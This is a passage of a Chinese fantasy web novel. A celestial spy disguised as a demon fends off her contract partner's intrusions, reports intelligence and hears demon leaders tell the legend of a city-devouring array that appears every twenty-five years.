他注视着鼻尖上的手指,眨了眨眼,旋即理所当然道:“在这里睡觉啊。” “你在这里睡觉?” 大概从未见过人这么堂而皇之地耍流氓,鸣枝当下竟没顾得上计较其他。 “你自己没有床吗,为什么要在我的床上睡觉?!” 炽阳闻言笑道:“哦,我睡不着,担心你嘛。” 她满脸匪夷所思,愣是想不明白两者之间的关联,“我有什么好担心的?” “我们不是有——” 他说话间扬手晃了晃,示意上面的契约。 “这不是怕你一个人出什么闪失吗?” “……” 鸣枝看着对方手腕的印纹,骤然涌起一股虚脱的力竭感,先前萌生的一丝丝过意不去瞬间荡然无存。 什么大局为重,任务优先,她现在就想解除这个破契约,立刻,马上! 还没等她出声控诉,炽阳的一句话便蓦地窜入耳中。 “你刚刚在做什么?” 他语气很浅,歪头往前凑了凑,好奇地问: “一动不动,魂不守舍的,好像发了很久的呆,想事情?” 鸣枝心里当即一“咯噔”。 不知是不是心虚作祟,她总觉得炽阳说这句话的时候,嗓音莫名轻得有些飘浮,连带那月夜中的笑眼也跟着深邃了几分。 他居然这么早就在了。 “呃……是……” 神识传音外人不可能听见,顶多是觉得她举止古怪,不会有事的。 她张口就开始编,“我的习惯,临睡前冥想一下,有助于舒活经脉。” “喔……” 炽阳拉长了尾音点点头。 很快又道:“那你适才一直摸手腕,还盯着它看,是在欣赏我们俩的契约印纹?” 鸣枝:“……” 她脸都要红了,情绪在尴尬万分和害怕暴露之中反复横跳,不知道先走完哪个流程比较好,整个人矛盾得四分五裂。 “当然不是,我在想别的!” 鸣枝有口难言地忿忿道,“你这人怎么能偷窥……不是,明目张胆地窥探他人隐私,还不出声!” 不出声就算了,当面说出来干什么,是不知脸面为何物吗! 炽阳忙替自己辩驳:“我有叫你,不过你好像没听见。” “……” 她是第一次接触神识传音,估计沉浸得太入神。 未免他再问下去,鸣枝岔开话题:“……反正,反正你的担心就没道理,大家住得又不远,至于么?” “至于啊,你若出了什么事而我又不在身边帮衬,我可是会受到契约反噬的。”他耸肩一笑,一副出师有名的姿态,“老叔不也让我好好跟着你。” 这个“去哪儿都跟着”的距离有这么近? 她头疼地据理力争:“他肯定不是那个意思!” 炽阳:“但这样确实更稳妥一些,有什么事我可以及时出手。” 话音刚落,只见他突然合掌往她面门一拍。 “啪!” 摊开手时,其中赫然是一只拍扁的蚊子。 “你看,要不是我在,它就会来咬你了。” 鸣枝:“……” 那真是危险得很呢。 “谢谢,我自己会打蚊子。” 她深感无力地吸一口气,“契约的判定没那么离谱,况且你这么明目张胆的举动,岂不是此地无银三百两吗?” “塔里的其他人又不是傻子,长此以往,他们肯定会猜到我们之间有问题。” 炽阳眉梢微微一动,似乎被她说服了些许,想了想: “会吗……” 鸣枝:“会!” 她斩钉截铁:“肯定会!” 少年略一思忖,很快有了主意:“不如这样好了,就说我对你一见钟情,死缠烂打,非要跟着你。” 鸣枝深深闭目,叹着气开口:“一见钟情是单方面的,而且你也不能和我独处一间房啊,人家发现我不赶你走,这不奇怪吗?” 他认为好办,笑道:“那我缠着缠着,你同意了呗。” 想得倒美! 鸣枝:“现在同意了,将来怎么办?等以后契约解开,你我恢复自由身,总要分道扬镳,届时你怎么收场。” 炽阳答得十分顺口:“相处了一段时间发现咱俩不合适,所以分开咯。” 他这就编好了一个完整的戏本,还颇为爱恨浓烈,风风火火,相当符合魔族放浪无度的做派。 两个人在里面都不像脑子正常的。 鸣枝心累地扶住额头,意识到此路不通,只能另辟蹊径,曲线救国。 她动之以理:“但你想想,倘若我们俩对外是那种关系,岂非明摆着告诉别人可以用我来威胁你吗?你本意原是要让人不朝我身上打主意,可这么一折腾,不就误打误撞,适得其反了。” 炽阳刚欲开口,或许是发觉确有道理,张了张嘴,难得没有说话。 他于是垂首凝眸,更加深思熟虑起来。 趁他还未想出下一个晴天霹雳的好办法,鸣枝连忙推着人下床往外赶,“如今最关键的就是以不变应万变,从前怎么样,今后还怎么样,千万不要打草惊蛇。” “所以你回去吧,回去吧,我能照顾我好自己。” 炽阳犹豫且顺从地被她一路推至门边,仍旧不太放心,扭头对背后的鸣枝叮嘱: “那你有事记得叫我。” “会了会了,一定叫你。” “喊我的名字就行。” “好, 好,知道了……我保证不会影响契约的。” 鸣枝再三交代过他,这才将两扇门扉“砰”地合拢,把栓插上,仔仔细细地锁住。 做完一切,她精疲力尽地垮下肩膀,对着虚空叹出一口愁苦的气。 真是连最后一点精气神都要被抽干了。 在魔域生存的日子还没正式开始,她已经品尝到了艰难与困苦。 魔族人都怎么回事,怎么这么不按常理出牌,永远猜不到他们下一步能干出什么骇人之举,简直防不胜防! 也不知自己之前和上峰交流被他看出什么没有…… 她靠着墙足足歇了半盏茶,突然后知后觉仰头四顾。 不对。 他是从哪里进来的? 鸣枝才松懈的心又高高悬起,立刻开始到处翻箱倒柜检查可能存在的漏洞。 今晚怕是睡不成一个好觉了…… * 被关在外面的炽阳对着紧闭的门扉兀自站了片刻,虽然能感觉得到人家好像很抵触自己,不过却也没有太沮丧。 他垂头摸了摸鼻尖,溜溜达达地迈开步子,只一眨眼,身形便消失在了原地。 紧接着,黑塔高处不知哪一层的房门被人轻轻推开。 炽阳走进自己住的地方。 他的屋子并非客房,比鸣枝的要更大更宽敞,但能下脚的地方还不如客房多,周遭满满当当摆着各种零碎的杂物,除了还算干净之外,大概也与狗窝差不离了。 卧榻旁点了盏不算太亮的灯,将投在地板的人影拉得老长。 桌上静静蹲着一只通体漆黑的魔兽,约莫有一个拳头大,毛茸茸的,貌似正处于极度放松的姿态。 炽阳顺手拉开抽屉,从里面抓了把糖豆喂给它,那小兽便立刻伸出两条触手来,小心翼翼地拢进跟前。 “唉,要是这趟出门把你带上就好了。” 少年将椅子掉了个头,十分没坐相地支着脸看它吃豆子,“若不是你总养不胖,也不至于搞成现在这个局面。” 毛球睁着一对大眼珠子边吃边瞧他。 炽阳却无所谓它能不能听懂,抱起椅背自言自语:“我还是头一回离自己结契的对象那么远,心里多少有点不安啊。” “她既不让我和她睡一起,也不让我跟她住在一起……真难办。” 毛球把豆子嚼得喀咯作响,就见他将脑袋搁在桌上,发愁地叹了一声,手指百无聊赖地抓着金发。 末了,炽阳忽地从散乱的刘海中露出半张脸:“这世上,已经有三个人知道我的秘密了。” 说到此处,他唇角竟有笑意上扬,“她倒是没见过我满月时的样子,所以目前瞧着还挺好说话。” “你说,如果见到了,等将来解开契约,她会不会把这个消息卖给别人?” 在谈及这件事的时候,他眼神里带着某种懒洋洋的兴致,好像对于结果的走向很感兴趣。 可惜魔兽不能言语,屋中没人回应。 10.迷惘(十) 鸣枝推开窗,清晨的空气即刻扑面而来,她呼吸了一下风中清新的水汽,看着旭日在浓云后将出未出,微光斑驳。 料想今天也多半是阴晴不定的一天。 乌云垂野地如其名,晴朗的白昼和夜晚都很少见,她只有某一日看到了一小会儿太阳,大部分时候均是黑云罩顶,雾霭沉沉。 所以这里的白天虽然叫白天,不过仅仅是比黑夜稍亮些而已,偶尔仍需要点灯照明。 感觉待久了应该能对皮肤起到极大的变白作用。 这是鸣枝住进黑塔的第十五天。 自从上次和斗宿星君联络之后,她的识海里很长一段时间没有任何音讯传回。 或许是因为两界地处不同空间,直到昨天,法阵上才浮现了天界下达的指令,说不清这其中耽搁了多久。 她坐回床边闭目入定,开始梳理上峰需要的情报。 尊神们命她仔细探查黑塔,尤其是众魔头的底细。 等待任务的这些日子鸣枝并没闲着。 她对这座大魔都的中心已经有了粗略的认知。 鉴于天界的记载实在太浅,那本临行前拜读的《魔域全书》,连魔域的皮毛也未曾揭开一分,大概只能叫《魔域不全书》,很多东西唯有现学现卖,不勤奋一点不行。 毕竟,她算是第一个成功混进大魔都内部的卧底了。 除了自己再没有别的依靠,当然是学得越快越好! 说来,黑塔其实不该叫黑塔。 那是外面不知情人的叫法。 这塔名为“混沌”,魔族似乎没有挂匾额的习惯,只在大殿某个犄角旮旯处刻着这二字,像落款的印章。 而她那位“干舅舅”则是混沌塔的主事人。 按人间的说法,大约算一国之主,一城之王。 难怪他一句话,魔都的核心鸣枝说进就进了,比自家后院还随意,敢情还真是他自家的后院。 这个成日里庸碌散漫的神秘男子具体叫什么,她暂时没能打听到。 只知大家都唤他“老叔”。 关于此人的神通,鸣枝先写上“傀儡师”,犹豫片刻,又在旁边补了一句“待查”。 据说来投奔他的人很多,因而大魔都的戍卫也很多,有的是人偶,有的是大活人。 还有的跟她一样在吃闲饭。 黑塔内有数不清的房间,数不清的楼层,许多房门鸣枝从来没见打开过,不知道里面住着什么。 而戍卫以上,便是广为流传,且名声赫赫的黑塔大魔头,此地称作魔都统领,一共好几位。 外号不限于“绝命贵公子”“毒刺冷艳花”“漆黑夜行者”等等…… 总之霸气外露中透出一股令人不敢恭维的品位。 是的,鸣枝那日所见,有一个算一个,全都在其中。 果然,说他们是小头目的自己还是太保守了! 至于塔内的安防…… 回想起初来乍到的所见所闻,她猜测,整座高塔应是套了一层外人不可窥视的结界,如未得许可,轻易是看不到真实的黑塔格局,仿若某种障眼法。 所以大门上才没有封印,谁都能推开。 看样子施术人对自己的术法颇有信心。 她将这几日掌握的信息逐一整理完毕,确认无遗漏,方把情报放在识海中的法阵上。 法阵华光一现,密密麻麻的文字就消失在原处。 重新睁开眼的鸣枝长吁一口气,伸了个懒腰。 想不到动用神识这么消耗精神。 卧底真是个费心费力的活儿啊…… 她捶了捶肩颈,目光转向窗外。 虽然大魔都的天依旧昏沉,可实际已到了日上三竿的时辰。 过了最初那段兵荒马乱的日子,鸣枝现在对整个黑塔和魔族不再茫无所知……尽管关于黑水滩的古籍记录尚未找到,但至少不会随随便便惊慌失措提心吊胆了。 除开不时面临被某位金毛出其不意地骚扰之外,总的来说,过得还算平和。 全仰赖“舅舅老叔”,她此刻也有心情安静地坐一会儿,看看早市的光景。 浓云之下的魔都灯火点点,于些微雾气中朦胧晕开,别有一番韵味。 人声从白天到深夜似乎就没止息过。 鸣枝一落脚便在荒漠里惊险求生,对比迷惘墟的危机四伏,乌云垂野瞧着魔族众多,却比预想中要安宁,打杀斗殴似乎从未发生。 反而街上的买卖格外红火。 遥远的炊烟气息逐渐弥漫上来。 这里简直像个不夜城。 她还没仔细逛一逛呢。 找个机会出门转转吧。 鸣枝托着腮漫无目的地打量着街市上的熙熙攘攘,竟看得有几分入了神,直到肚子“叽咕”一声。 “……” 变成魔族就这点不好,比当仙女时饿得快。 神仙能以天地灵气为食,不吃饭也没关系,偶尔想饱口腹之欲了,亦有凡人的贡品可以尝鲜。 然而魔族就不行了。 魔域没有灵气给她吃,魔气能转化为体力的部分又多有不足,得靠食物补全。 鸣枝忧愁地轻轻一叹,起身行至桌边。 大魔都不愧是每个魔族的向往之地,混沌塔居然还管饭,菜肴顿顿不同,花样百出。 尽管吃与不吃也可自行选择,但一直不吃东西恐会惹人注意。 何况她确实是真的饿了。 鸣枝居高临下地注视着那色香味俱全的食盒。 眼神颇为复杂。 今日的菜式是一种饼,满满当当的肉饼正中嵌着不知名的果蔬。 打从大前天,她无意间瞧见卫兵们将几头面目狰狞,五彩毛发的魔兽拖进后厨起,鸣枝就对一切肉类敬谢不敏。 没办法,她至今很难接受魔族的饮食。 第一天的两脚龙对她的冲击实在太大了! 好在,时蔬果品她还是非常喜欢的。 鸣枝精准地将中间的瓜果单独挖了出来,把挑食贯彻到了极致,美滋滋地吃完,甚至觉得挺好吃。 这么清甜的果物神界也不一定能有,找机会要多囤一些,最好能带种子回去种下,如此就有数不尽甜果吃了。 不过…… 用膳结束,她对着残羹冷炙抱怀琢磨。 这剩下的肉饼该怎么处理才好? 直接扔掉吗? 倒也不是不能声称自己不爱肉食,可这样一来又显得“突兀”了,魔族大多嗜肉,抛开口感不提,亦是补充体力的首选。 嗯…… 鸣枝陷入了苦恼。 不禁思索起当初那顿魔龙肉是怎么熬过去的…… 也就是在这时,她脑中猛地一个激灵。 等等,自己好像忘记了什么! 当日她为了应付炽阳,把片好的生肉和一头魇兽全放进了荷包里,并且……到现在都没取出来! 进入黑塔后,鸣枝每天尽顾着侦察敌情,谨言慎行了,压根没想起这事! 完了完了,龙肉不会腐烂吧。 小布包的容量虽大,却并无保持鲜度的效用。 难以想象里面此时此刻是怎样一幅可怕的光景。 要是鲜肉腐化了一地,她要如何打扫…… 鸣枝慌里慌张地解开荷包的封口,忐忑地咽了口唾沫,近乎做好了最坏的打算。 伸手往其中一捞。 不想竟没捞到一块肉,空荡荡的。 鸣枝:“奇怪……” 再往深处摸索,忽然抓得什么沉甸甸之物。 一头乌光发亮的魇兽被她拎了出来,蜷着身子与之面面相对,然后张口朝她打了声招呼: “嗝——” 鸣枝:“……” 这手感明显比先前重了一圈,看来每一口都没有白吃,十分敦实。 想想却也不能怪它,七寸掐着不让睡觉,可不就得有什么吃什么了。 她看着魇兽,一言难尽地自我安慰:“往好处想,被你吃掉总比烂掉要好。” 小东西看上去挺温顺,木楞楞的,不跑不跳,更没什么攻击性,最大的麻烦或许就是睡觉了。 鸣枝视线落在一旁吃剩的肉饼上。 她眨了眨眼睛。 突然有了一个绝妙的主意。 “对啊!可以把不爱吃的食物喂给魇兽。” < p>怎么之前没想到呢。 手里的黑乌梅微微仰首。 她和对方打起商量:“以后我把你七寸上的结界松开,只罩一个隔绝空间的封印,不影响你入睡……当然也不剥你的皮,但是作为交换,给你的食物必须替我吃光。” “怎么样,很合算吧?” 魇兽顶着一双眯眯眼看她手舞足蹈地比划,一阵忙碌。 鸣枝就这么单方面和它达成了协议。 “来。”她把魔兽往肉饼前轻轻一推,“吃吧吃吧。” 来魔域短短数日,她已经迅速学会了怎么与人强买强卖签订契约。 如此既解决了吃喝问题,又解决了这小家伙的用途。 想不到她最后还是在魔域养起了宠物。 鸣枝对魇兽知之甚少,也不知它平日的食谱如何,瞧着倒是来者不拒,有吃的便埋头吃上了。 她捧着脸,满心欢喜地看此兽哼哧哼哧进食。 “真别说,看得久了,我发现你其实挺可爱的嘛。” 鸣枝轻轻抚摸它的后颈。 “虽然黑漆漆的,皱巴巴的,眼睛小小的,还有一点丑……” 桌上的魇兽终于停了下来,沉默地冲她抬起头。 * 处理完了早饭的小插曲,鸣枝重新装起魇兽,收拾好衣裙梳好发髻,拍了拍脸颊提提神。 很好,一切准备就绪! 卧底的新一天开始了,她要下楼去继续打探情报。 鸣枝斗志昂扬地来到门边,手放在上面,却没急着推开,只悄悄挤出一条缝隙。 她像是经历过什么,动作千锤百炼般谨慎,扒着门探头,先看了一眼门外,又看了一眼门后,继而是头顶、足下,连廊上摆着的花盆也没放过。 确信任何能装得下大活人的地方都未见炽阳的身影,方才松快地从屋中走出来。 “唉。” 她叹了口气,这段时间快被此人搞得草木皆兵了。 如此清静的早晨真是难得。 黑塔里昼夜亮着不熄的灯火,据说是用某种魔兽的油脂做成的,能烧上数千年。 每次站在下面仰望,鸣枝都会打心底里感到震撼。 楼层一圈接着一圈盘旋而上,像幽邃的漩涡,最高远的地方只剩一个小孔,连塔中资深的戍卫也不清楚究竟具体有多少层。 她所在的是客房,一共七楼,住着舅舅老叔天南地北结识的狐朋狗友们,七楼往上则是戍卫的住处。 从第五层起,每层便有直通大殿的法阵了。 鸣枝的楼层较为低矮,只能徒步走下去。 她倒不觉得麻烦,反而可以在下楼的过程中慢悠悠将整个正殿的情形尽收眼底。 比如偏殿内聚集闲谈的几位魔头,换防整顿的魔都卫兵,再比如花厅中煮茶品茗的老叔。 这位混沌塔,甚至是整个大魔都名义上的领主,成日间无所事事,散漫惫懒,不是饮茶吃酒就是打盹消磨,似乎压根没把解契的事放在心上,瞧着实在不怎么靠谱。 但鸣枝总觉得他一定不是个简单的人物。 能把持着叫仙界如此忌惮的乌云垂野,这男人应该藏得很深。 她念头刚起,就看见神思恍惚的舅舅老叔手一个没拿稳,滚烫的茶水浇了一腿,他“嗷”一声跳起来,结果又撞上想来帮忙的人偶,双方脑袋碰木头,花厅里乒乒乓乓响成一片。 鸣枝:“……” 应该藏得很深……吧。 话又说回来,不事生产的倒也不止他一个。 就鸣枝这几日的观察,抛开负责巡防的卫守不提,混沌塔中的魔头们好像都不干正事,个个游手好闲的样子。 不是吃喝玩乐,就是扎堆侃大山,偶尔切磋两招,还点到为止。 相当骄奢淫逸,虚度光阴。 仔细一想,他们想必靠收取“庇护费”过活,便如人间的帮派地头蛇,有偌大的魔都民众上供,好像的确没有劳作的必要。 每日只用出去招摇过市,耀武扬威地走一圈便足够了。 正在这时,前方不远的魔头堆中似有谁发现了她,操着甜腻腻的嗓音打招呼: “小,双,双——” 11.地现日(一) 一团明艳艳的大红径直朝她跑来,打扮得花团锦簇的女魔头张开双臂拥了鸣枝一个满怀,还在她发间深嗅了一口。 那表情相当沉醉。 女魔头名叫刺海棠。 是混沌塔的统领之一,当日出现在偏殿里的人就有她。 或许是塔内与之同龄的魔女并不多,加之鸣枝又是舅舅老叔的干侄女,便自发被她纳入了“自己人”的范围,几乎第二天就和她混熟了,热情得要命,满心满眼全是真挚的喜欢。 但鸣枝总感觉对方的喜欢更像是某种对食物的渴望。 毕竟她的眼神有一半都写着“好馋好想尝一口”。 虽顶着无形的压力在相处,不过也多亏此人嘴大,让她偷摸着打听到不少事。 “我就说平常这个时辰你该下楼了——今天斩星从外面回来,带了好多好多小吃,他不让我吃独食,你陪我一起吃嘛。” 刺海棠抱起她的一条胳膊,亲亲热热地贴着挨着往偏殿里走。 殿有四柱,三面敞开,正中一张八瓣莲花式样的大圆桌,桌边坐着个年轻略瘦的矮子。 说他矮,倒也并非是站直了就看不到头。 这人身条其实和鸣枝差不多,只不过在满目高大威猛的魔头中间显得较为突兀。 黑塔的几个统领个子都不矮,连刺海棠也比鸣枝略高两寸。 “小斩星——快看我把小双双叫来了,现在能吃了吗?” 对方正支着后脑勺,闻声回过头,无奈地一摆手,做了个“请便”的姿势。 女魔头立刻欢喜得花枝乱颤,对着食盒里的糕点挨个盘算,不知要先尝哪种口味更好。 矮子叫作斩星。 说起来,等鸣枝一一了解过魔头们的名字,才明白为什么炽阳在得知她取的别名后会是那种反应。 这些魔族人的名姓都是自己给的,且风格非常统一。 有的叫劈天,有的叫灭地,还有的叫裂八荒,破九州,横扫六合!总之不是砍就是杀,攻击性十足,饱含了对天地万物的破坏欲。 如此一番对比,她的“双双”在其中何止是另类,简直有几分诡异的诙谐。 而今想补救也为时已晚了,幸好仰赖黑水滩神秘莫测的族群习性,旁人虽觉稀奇,却并未萌生怀疑,除了炽阳,竟无人多问。 “斩星前段时日被老叔分派去办事情了,你应该没见过他几回。” 刺海棠在一旁叼着糕饼引荐,“他跑得很快,赶路也快,一年到头都在外面瞎溜达,以后有什么想要的土特产可以让他帮你带哦。” “喂。”矮子不满地瞥她,“我是去办正事的,别每次大包小包吃的玩的都叫我买,要东西就去找人采购,市集上的生意人还不够多吗?” “啊……” 女魔头将这个“啊”字抑扬顿挫地拉长了音调,幽怨地表示抗议,“不要嘛,他们都没有你好,我还有很多东西要买,这样的那样的,很多很多……” 她在后面喋喋不休地控诉,斩星只当听不见,一边嫌弃万分,一边又挠着头朝鸣枝道:“一般的当地小吃、衣服首饰、药材矿石之类的没问题,若是需要,就提前拟份清单给我。” 他严肃告知:“我不带雕花床、桌椅、以及比混沌塔二楼还高的魔兽。” 鸣枝:“……” 看得出来曾经被逼着采买了不少奇怪的东西。 桌上摆的均是小点心,鸣枝打量了一圈,发现多为酥饼蜜饯,便也放心地拿了一块。 斩星不似刺海棠那般天生很会自来熟,就这么坐着气氛略有些尴尬,他屁股在椅子上挪了挪,总觉得自己应当寒暄两句,于是随口找话: “你们黑水滩避世多年,和外面有什么不一样的地方吗?” 鸣枝捏蜜饯的手一僵。 心说那我哪儿清楚。 她脑子里冒出来的是天界威严肃穆的宫宇殿阁,把噎住的甜点咽下去,模棱两可地作答:“我们那里……呃,规矩比较多。” 话音刚落,斩星露出一个果不其然的表情,趴在桌上嗤之以鼻,“我就知道。” “老九黎全都一副德性,喜欢论资排辈,总爱拿部族是直系来说事,学人界尊卑有别的那一套,也不瞧瞧现在还有几个人买账。” 原来魔界也有礼法严苛的地方。 糊弄成功的鸣枝端着乡下人的质朴面容假装很拘谨……虽然实际上她也的确很拘谨。 魔族是在上古应时而生的,至今仍以部落为主。 九黎则是整个魔域最早的九个部族,这么看来,黑水滩曾是其中之一,大概是后面没落了。 听他的语气。 魔族内部的矛盾也不小嘛。 她正在悄悄揣测,那头的斩星似乎回过味,连忙给自己的口出无状找补:“我没说你啊,你还是和他们不一样的。” 鸣枝:“没事没事,不要紧。” 当然不一样。 她面上笑容依旧。 大家甚至不是一个品种呢。 刺海棠喜好甜食,难得美滋滋地用糕点堵住了自己的嘴,没参与话题。 到兴致浓时,她冲角落里的人招呼:“断小云,这是你老家的特产呢,真的不尝一口吗?再不吃可没你的份儿了。” 此刻的偏殿东北角还坐着个人,乍一看竟不分明。 他兀自一张小桌一把靠椅,悠悠地在品茶。 闻言“唰”一声展开扇子,风度翩翩地立于胸前,姿态分外优雅地翘着兰花指:“不吃,甜腻腻的东西齁嗓子。” “我劝你自己也少吃些,女孩子甜嘴的玩意儿吃太多可不养人。” 这位宽袍大袖的贵公子鸣枝一直很有印象,毕竟当日初入混沌塔,属他刁难得最紧。 是个麻烦且不好相与的人物。 数日以来,对方虽未离开黑塔,却也从不主动与自己搭话,态度比起刺海棠,乃至刚见面的斩星都要疏离许多。 好像…… 好像不怎么喜欢她。 没过一会儿,大殿方向的声音嘈杂了起来,戍卫们进进出出,约莫是到换防或交班的时间了。 乌泱泱的人群脚步匆匆。 虽然这样的忙碌日日都能见得,却不知为何,鸣枝隐约觉得今天的塔里要比之前繁乱许多,一向空荡的门口影影绰绰,外边似是站着不少人议论纷纷。 她仔细一琢磨。 这几个魔头统领以往是一个赛一个的懒,鲜少午后起床的,眼下竟破天荒地比她还早一步下楼。 瞧着不似偶然为之。 鸣枝左右看了看,转过去问刺海棠:“外面好热闹,是有什么节庆吗?” “啊,这个呀。” 女魔头动作一顿,把嘴边的酥皮糕点轻轻放下,似笑非笑地看着她: “是‘地陷日’到了。” 鸣枝:“地陷?” 什么意思,地面下陷了? 刺海棠纠正,“不是‘陷落’的‘陷’,是‘出现’的‘现’。” 她不再忙着吃点心,反而捧起脸,微微笑着对鸣枝说:“小双双你们那儿的人口不多,想必也没有机会接触到这事。” “你知道吗?” 魔女的嗓音轻飘飘的,四周一下子就安静了。 “我们外面有个由来已久的传说哦。” “相传,当某一处地域越来越繁华,常住的魔族越来越多,多到某个临界时,沉睡在地底最深处的怨鬼便会苏醒。 “它被浓烈的魔气所吸引,顺着灼热的岩浆一路往上爬,破土而出,然后将这个地方,一寸一寸地,一寸一寸地吞噬殆尽。” 鸣枝给她那阴森瘆人的腔调激得头皮发麻:“你是说……那怨鬼现在出现了?” 难道魔族也有阴魂不散之说吗? 这儿的风水也太不好了! 不等刺海棠开口,斩星便从旁丢了一颗石子正中她脑门,把话截断:“行了,别在这里吓唬人。” 女魔头抱着脑袋嘿嘿笑,嘟囔道:“好玩嘛,逗逗她。” “我第一次遇到这样‘新’的魔族人,难道你不想瞧瞧她的反应吗?千载难逢诶。” 鸣枝惊而茫然:“假、假的?” “并不全是假的。”斩星貌似对此不以为意,“准确的来讲,出现的是一处秘境。” “每隔二十五年,这片空间的某个地方就会凭空多出一个法阵,法阵现身之处没有任何规律可循,或许在街上,或许在屋中,也或许在半空。” “话说起来可就长了……” 他漫不经心地挖挖耳朵,“这东西从前没有,第一次有记载是在一千多年以前,史籍上说它现于当世最鼎盛的都城‘不夜’。” 刺海棠在他说话间给自己倒了一杯茶水,暖洋洋地捧着喝。 斩星:“你也知道,九黎之下一共划分了八十一个部族,早年互相打得不可开交,死的死,逃的逃,哪儿聚得起人气,一方雄城往往也才上千人。 “所以‘不夜’算是首个规模不小的大都,和现今的乌云垂野差不多,远近闻名。” “昔年这事引起了不少骚动,魔域每个空间的传送阵几乎从形成之日起就固定了,没有平白再生的道理,出于好奇,许多人围着这个阵法打量,不知它通向何处。” 他言至于此,话音顿了顿,“很快,便有三两好事者走了进去。” 鸣枝轻轻屏气,隐有所觉地问: “然后呢……” 斩星端着茶杯晃晃,语气随意,“然后就再也没出来。” “这些人的亲友左等右等没等着,于是跟着进去找——结果,同样没出来。那法阵像会吃人,邪门得很。” “然而更邪门的还在后面。” 他说:“正当第六个人踏入其中之后,此阵居然原地消失了,半点痕迹没留下。” 对面的斩星言罢,饮了一口水给自己润润嗓子。 鸣枝心知没那么简单,怔怔地等他下文。 “法阵没了,进去的人当然也没能回来,日子一天天过去,城里风平浪静,相安无事,再未听说哪里有类似的事情发生,久而久之,大家只当是个神秘的意外,渐渐都忘了。 “那年头的魔族忙着呢,成日要练功要争抢地盘,不过是没了个把人,不值一提。” “而就在大家都忘了的时候,某一年,还是不夜城内,那阵法竟又一次现了行,这回不在地面了。” 他往头顶指,“是在一堵墙上。” “有了前车之鉴,城中居民没人敢轻易靠近,知道法阵会吞人,索性便不去理会它,见了就绕道走。连城主也下令,命部众避而远之,都觉得只要放着不管就好。” 鸣枝听到此处,注意到前面所说的细节——这东西的消失是有条件的。 “对。” 斩星貌似看出她的表情,支着脸轻笑,“第二天,法阵还挂在墙头,第三天、第四天、第五天,纹丝不动,一点也不见要走的意思。 “再后来大概是过了一个月,城外的人忽然发现,似乎已经许久不见城内人出来了,无论是走亲访友的,往来谈生意的,还是挑衅闹事的,统统音讯全无。 “想进去瞧瞧,可出入的传送阵竟也失了效用,那片空间仿若彻底与世隔绝。” “直至半年过后,法阵终于再度恢复魔力,才有人入内一观。” “你猜怎么着?” 他眉毛挑起来,“整座都城,上上下下里里外外,皆被夷为平地。” 鸣枝轻轻一愣。 “夷为平地?什么都没有了?生活痕迹呢?” 斩星摊手,“什么都没有了,建筑、家具、草木甚至活物,干净得像被恶鬼舔过一般。完完全全一片死地,半块骨头也没剩下。” “‘不夜之谜’一度成为魔界最大的悬案,那几年大家都不内斗了,一门心思钻研调查。毕竟关乎魔族生死存亡,能将这么大的势力一朝化为乌有,必是一股非比寻常的力量,轻而易举就能毁天灭地,毁掉你我也是迟早的事。” 她当听故事似的,觉得还挺有趣,忍不住追问:“最后查出什么了吗?” “没查得那么明白,不知道这东西是何由来,也不知道它为什么会吞吃魔族,但好在弄清楚了它的几点特性。” 斩星道:“首先,人烟稀少的地方,法阵是不会露面的,非得足够兴盛,人居密集之处才能引它现身。” “便如……猛兽总往猎物丰富的林子跑,是一个道理。” “其次,法阵每次出现,都需要往里填六个人——六个,少一个都不行,用魔物充数也不行。一旦人数足够,阵法立刻关闭,一切照常如旧。” “最后么,就是我之前说 过的,此阵二十五年一现。” 他端起茶碗,“因为‘地现日’谜团重重,至今也无人参透其中奥妙,所以外头编出来的光怪陆离的传闻很多,什么恶鬼作祟啦,没有躯体的怨灵来找自己的肉身啦……还有的说是天界那帮神仙搞的阴谋呢,哈哈。” 鸣枝:“……” 鸣枝的神魂差点被他两个“哈”字送走。 听完这魔界的奇闻轶事,她不由庆幸得亏黑水滩是个消息闭塞的穷乡僻壤,否则如此家喻户晓的历史,自己竟一无所知岂不就露馅了。 好险。 便不禁又一次感慨上仙们的深谋远虑。 她思索了一会儿,“怎么听上去,像是献祭?” “哦,对。”斩星觉得这词贴切,“有点这种感觉。” “不过那都是早些时候的事了。” 刺海棠吃饱喝足,不甚在意地摆摆手,“如今已经有了应对之策,即便进入阵也可以全身而退,一点也不可怕哦。” 原来是这样。 进去了还能出来,那挺安全的。 鸣枝好奇:“是什么应对之策,找到了破解阵印的方法?” 刺海棠笑盈盈道:“不用破解,只要在入阵后的三日之内出来就行了,反正彼时法阵已从城中撤离,哪怕里面的人数不足,也不会再对外面造成什么影响。” 她先是若有所思地颔首:“哦……” “那要怎么出来呢?” 刺海棠:“自己想办法出来呀。” 鸣枝:“……如果出不来呢?” 她道:“就死了。” 鸣枝:“……” 这不还是献祭吗! 放下了茶碗的斩星从旁接过话,“魔域现在的大都城可比以前多多了,遇上‘地现’的不在少数。某些地方会嫌麻烦,选择直接丢几个人进去平息法阵。不过更多的是用它充当实力的证明,能顺利从里面脱身的即是魔族中的佼佼者,各部族各势力争着抢着要,到哪儿都不愁没饭吃。” “就以乌云垂野来说,但凡通过‘地现日’的考验,便有资格跻身统领之位。” 敢情这统领是拿命换的。 鸣枝左思右想,依旧觉得危险,不知为什么,那故事听得她心里毛毛的,尤其是恶鬼爬出地面那一段。 “大家没想过要走么?我是说,如果各处的人口数量刚刚好,不就不用担心‘地现’的事了,万一出什么意外……” 刺海棠约莫是瞧出她害怕,蓦地凑近前故意道:“小双双,我告诉你哦。” “乌云垂野正是在当年‘不夜城’消失后的遗址上建起来的呢。” “诶?……什、什么?” 鸣枝委实没料到魔族人竟有坟头起高楼的癖好,当下连坐也坐得不安稳,浑身不自在。 “放心,都这么多年了,除了‘不夜’,再没有一个出过事。”斩星慢条斯理地托着脸轻嘲,“好多势力还喜欢攀比谁家能闯阵的人多,当作炫耀的资本呢。更有甚者用‘地现日’选拔可用之才,花样玩得层出不穷——顺带一提,这一套也是跟着大魔都学的。” “不会有事啦。”刺海棠终于不逗她了,眯着眼笑,“我们出入法阵少说已有六七次,熟得很,你就安心待在城里吃茶逛街,我会好好保护你的。” 鸣枝被她贴着面颊轻轻蹭了蹭。 先前还以为他们成日里除了收保护费就再无事可做了。 现在看来,虽然收保护费的底色未改,可这“保护”的难度相当高啊…… 果然这天底下没有一碗饭是白吃的。 鸣枝:“那这么说,城里眼下的骚乱,是因为法阵出现了吗?” “应该是。”刺海棠捧起杯盏,“清早接到的消息,炽阳他们已经去确认……” 话尚未讲完,她眼尾便是一弯,“啊,回来了。” “炽阳!——” 鸣枝循着她打招呼的方向望过去,率先映入视线的便是那头扎眼的金毛。 他同大块头壮汉并肩进来,难得的一点晨光,照得发梢碎金似的闪烁。 